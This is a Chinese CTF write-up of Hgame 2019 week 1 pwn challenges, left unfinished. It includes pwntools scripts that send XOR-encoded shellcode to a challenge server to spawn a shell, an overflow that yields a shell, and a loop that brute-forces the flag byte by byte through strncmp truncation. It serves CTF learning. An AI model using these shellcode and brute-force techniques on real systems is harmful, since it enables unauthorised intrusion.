Hgame2019

pwn

week1

babysc

简单题,保护机制基本没开

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

拖进IDA以后发现不能f5,出现报错:

1549692623552

我们发现这一句有问题

1549692684781

那么我们就把这句汇编给nop掉,再f5一波,发现没报错了:

1549692955383

可以发现,这里的逻辑很简单,就是输入0x50个字节到buf中

然后给buf中的每一个字节进行异或运算

结合汇编来看:

1549693117302

再调用完read(0,buf,0x50)后

就会进行一个cmp比较,如果v4的值小于等于0x4f,那么则跳转到左边的分支执行,否则跳到右边的分支

很明显,我们就要跳到右边的分支执行一波call rdx

那么需要满足v4大于0x4f,但是无法通过buf覆盖v4,只能不断的先进入左边分支执行异或运算后,通过自加,使得v4大于0x4f

那么我们在往buf写入shellcode的时候就要先自己异或一遍,再执行的时候才能得到正确的shellcode

exp如下:

1
2
3
4
5
6
7
8
9
p = remote("118.24.3.214",10000)
shellcode = asm(shellcraft.sh())
payload=''

for x in range(len(shellcode)):
#print hex(ord(shellcode[x]))
payload+=chr(ord(shellcode[x])^(x+1))
p.send(payload)
p.interactive()

aaaaaaaaaa

这个题直接一波aaa输入进去一后你就发现你得到shell了,然后cat flag就完事了

只有输入超过99个就可以了

1549697078888

薯片拯救世界1

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开了nx,开了canary

再看看IDA

1549703919114

题目的大概意思就是让你输入flag,这个一开始让我很懵逼,难道要爆破0x18位的flag??ex me?

认真一看发现其实可以一位一位的爆破,因为strncmp函数的n是根据我们输入的buf长度决定的,我们可以每次输入后加入\x00进行截断,从而控制输入的字符长度

通过前面的题目我们很容易知道flag的格式是这样的:hgame{xxxxxxx}

因此直接开始爆破就完事了:

ps:有个小技巧是直接用快捷键a,可以把IDA中的字符数组显示出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
key = "CWERTYUIOPASDFGHJKLZXQVBNM1234567890qwertyuiopasdfghjklzxcvbnm-=_~!@#$%^&*()}"
flag = "hgame{Ch1p_1s_Awak"

while True:
for x in key:
p = remote("118.24.3.214",10001)
p.recvuntil("Ch1p Save The World--Chapter 1\n")
p.sendline("aaaa")
p.recvuntil("为此,大祭司必须念出当年约定的那串咒语——\n")
payload=flag+x
print "当前测试的是:",payload
p.send(payload+"\x00")
leak = p.recv()
#print "返回的字符串是:",leak

if "勇者Ch1p在今天...觉醒了!" in leak:
print "66666666666666666666爆破一位!"
print "当前flag:",flag
flag+=x
p.close()
break
p.close()

if "}" in flag:
print "this is the flag:",flag
break

Steins;Gate

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

除了PIE都开了

。。。

没了,烂尾wp,以后有空再填吧(虽然应该以后都不会有空了hhhh)